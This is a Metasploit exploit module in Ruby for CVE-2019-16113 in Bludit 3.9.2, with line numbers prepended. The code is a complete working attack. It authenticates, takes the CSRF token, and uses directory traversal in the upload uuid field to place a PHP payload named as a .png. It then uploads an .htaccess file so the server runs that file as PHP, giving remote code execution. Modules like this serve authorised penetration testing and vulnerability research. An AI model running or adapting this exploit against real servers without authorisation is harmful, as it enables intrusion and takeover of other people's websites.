1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262 | ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
include Msf::Exploit::FileDropper
include Msf::Auxiliary::Report
def initialize(info={})
super(update_info(info,
'Name' => "Bludit Directory Traversal Image File Upload Vulnerability",
'Description' => %q{
This module exploits a vulnerability in Bludit. A remote user could abuse the uuid
parameter in the image upload feature in order to save a malicious payload anywhere
onto the server, and then use a custom .htaccess file to bypass the file extension
check to finally get remote code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'christasa', # Original discovery
'sinn3r' # Metasploit module
],
'References' =>
[
['CVE', '2019-16113'],
['URL', 'https://github.com/bludit/bludit/issues/1081'],
['URL', 'https://github.com/bludit/bludit/commit/a9640ff6b5f2c0fa770ad7758daf24fec6fbf3f5#diff-6f5ea518e6fc98fb4c16830bbf9f5dac' ]
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Notes' =>
{
'SideEffects' => [ IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ]
},
'Targets' =>
[
[ 'Bludit v3.9.2', {} ]
],
'Privileged' => false,
'DisclosureDate' => "2019-09-07",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path for Bludit', '/']),
OptString.new('BLUDITUSER', [true, 'The username for Bludit']),
OptString.new('BLUDITPASS', [true, 'The password for Bludit'])
])
end
class PhpPayload
attr_reader :payload
attr_reader :name
def initialize(p)
@payload = p
@name = "#{Rex::Text.rand_text_alpha(10)}.png"
end
end
class LoginBadge
attr_reader :username
attr_reader :password
attr_accessor :csrf_token
attr_accessor :bludit_key
def initialize(user, pass, token, key)
@username = user
@password = pass
@csrf_token = token
@bludit_key = key
end
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php')
})
unless res
vprint_error('Connection timed out')
return CheckCode::Unknown
end
html = res.get_html_document
generator_tag = html.at('meta[@name="generator"]')
unless generator_tag
vprint_error('No generator metadata tag found in HTML')
return CheckCode::Safe
end
content_attr = generator_tag.attributes['content']
unless content_attr
vprint_error("No content attribute found in metadata tag")
return CheckCode::Safe
end
if content_attr.value == 'Bludit'
return CheckCode::Detected
end
CheckCode::Safe
end
def get_uuid(login_badge)
print_status('Retrieving UUID...')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'new-content', 'index.php'),
'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};"
})
unless res
fail_with(Failure::Unknown, 'Connection timed out')
end
html = res.get_html_document
uuid_element = html.at('input[@name="uuid"]')
unless uuid_element
fail_with(Failure::Unknown, 'No UUID found in admin/new-content/')
end
uuid_val = uuid_element.attributes['value']
unless uuid_val && uuid_val.respond_to?(:value)
fail_with(Failure::Unknown, 'No UUID value')
end
uuid_val.value
end
def upload_file(login_badge, uuid, content, fname)
print_status("Uploading #{fname}...")
data = Rex::MIME::Message.new
data.add_part(content, 'image/png', nil, "form-data; name=\"images[]\"; filename=\"#{fname}\"")
data.add_part(uuid, nil, nil, 'form-data; name="uuid"')
data.add_part(login_badge.csrf_token, nil, nil, 'form-data; name="tokenCSRF"')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'ajax', 'upload-images'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};",
'headers' => {'X-Requested-With' => 'XMLHttpRequest'},
'data' => data.to_s
})
unless res
fail_with(Failure::Unknown, 'Connection timed out')
end
end
def upload_php_payload_and_exec(login_badge)
# From: /var/www/html/bludit/bl-content/uploads/pages/5821e70ef1a8309cb835ccc9cec0fb35/
# To: /var/www/html/bludit/bl-content/tmp
uuid = get_uuid(login_badge)
php_payload = get_php_payload
upload_file(login_badge, '../../tmp', php_payload.payload, php_payload.name)
# On the vuln app, this line occurs first:
# Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename);
# Even though there is a file extension check, it won't really stop us
# from uploading the .htaccess file.
htaccess = <<~HTA
RewriteEngine off
AddType application/x-httpd-php .png
HTA
upload_file(login_badge, uuid, htaccess, ".htaccess")
register_file_for_cleanup('.htaccess')
print_status("Executing #{php_payload.name}...")
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'bl-content', 'tmp', php_payload.name)
})
end
def get_php_payload
@php_payload ||= PhpPayload.new(get_write_exec_payload(unlink_self: true))
end
def get_login_badge(res)
cookies = res.get_cookies
bludit_key = cookies.scan(/BLUDIT\-KEY=(.+);/i).flatten.first || ''
html = res.get_html_document
csrf_element = html.at('input[@name="tokenCSRF"]')
unless csrf_element
fail_with(Failure::Unknown, 'No tokenCSRF found')
end
csrf_val = csrf_element.attributes['value']
unless csrf_val && csrf_val.respond_to?(:value)
fail_with(Failure::Unknown, 'No tokenCSRF value')
end
LoginBadge.new(datastore['BLUDITUSER'], datastore['BLUDITPASS'], csrf_val.value, bludit_key)
end
def do_login
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php')
})
unless res
fail_with(Failure::Unknown, 'Connection timed out')
end
login_badge = get_login_badge(res)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};",
'vars_post' =>
{
'tokenCSRF' => login_badge.csrf_token,
'username' => login_badge.username,
'password' => login_badge.password
}
})
unless res
fail_with(Failure::Unknown, 'Connection timed out')
end
# A new csrf value is generated, need to update this for the upload
if res.headers['Location'].to_s.include?('/admin/dashboard')
store_valid_credential(user: login_badge.username, private: login_badge.password)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'dashboard', 'index.php'),
'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};",
})
unless res
fail_with(Failure::Unknown, 'Connection timed out')
end
new_csrf = res.body.scan(/var tokenCSRF = "(.+)";/).flatten.first
login_badge.csrf_token = new_csrf if new_csrf
return login_badge
end
fail_with(Failure::NoAccess, 'Authentication failed')
end
def exploit
login_badge = do_login
print_good("Logged in as: #{login_badge.username}")
upload_php_payload_and_exec(login_badge)
end
end
|